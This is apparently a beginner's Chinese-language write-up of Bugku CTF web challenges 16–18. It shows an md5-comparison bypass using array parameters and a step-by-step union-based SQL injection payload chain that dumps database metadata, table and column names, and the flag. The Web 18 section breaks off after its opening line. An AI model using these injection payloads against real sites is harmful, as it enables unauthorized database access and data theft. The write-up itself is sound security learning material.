Bugku Web 16-20
web 16 备份是个好习惯
打开链接长这样
让我这个菜鸡摸不着头脑。。。不过前面提示了备份,那就打开index.php.bak吧
下载打开
实在看不懂,不过根据下面评论区大佬的提示,这是要用?kekeyy1[]=[1]&kekeyy2[]=[2]绕过md5的加密(真的不懂,还是要多学),所以在后面加上?kekeyy1[]=[1]&kekeyy2[]=[2]后flag就出来了
这后面三个字是啥东西???
Web 17 成绩查询
点开后长这样👇
分别输入1 2 3查了下都是成绩单,输到4就没了。看着像是sql注入的题,因为我还是个菜鸡,刚了解sql注入,只好跟着大佬做。
按照大佬的做法,先进行post请求,一切正常
加单引号又不行了
加#又可以了
这样就可以知道有sql注入漏洞了(为什么啊?我还是不太清楚,有没有大佬解答一下)
然后尝试获取列数,因为123都有了,所以试试4或者更高
构造id=1’ order by 4#,正常
继续构造id=1’ order by 5#,没了
所以只有4列
然后尝试联合查询(都是按照大佬的过程来的,还不知道为什么这么做)
具体做法是id=0’ union select 1,2,3,4#
然后又开始猜解数据库名, 数据库的用户,数据库的版本
具体做法是id=0’ union select 12345,database(),user(),version()#
根据数据库skctf_flag去查询表名
具体做法:id=0’ union select 12345,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
这个select group_concat(table_name) from information_schema.tables where table_schema=database(),好像是一个用来查询表名的固定格式
上一步得到了表名fl4g和sc,flag应该藏在fl4g里面
根据fl4g表去查询字段名(列名):id=0’ union select 12345,(select group_concat(column_name) from information_schema.columns where table_name=‘fl4g’),user(),version()# (有点迷糊)
再尝试获取字段(列)中的数据:**id=0’ union select 12345,(select group_concat(skctf_flag) from fl4g),user(),version()#**就获得flag了
参考的大佬,感谢大佬的wp。
Web 18 秋名山车神
打开长这样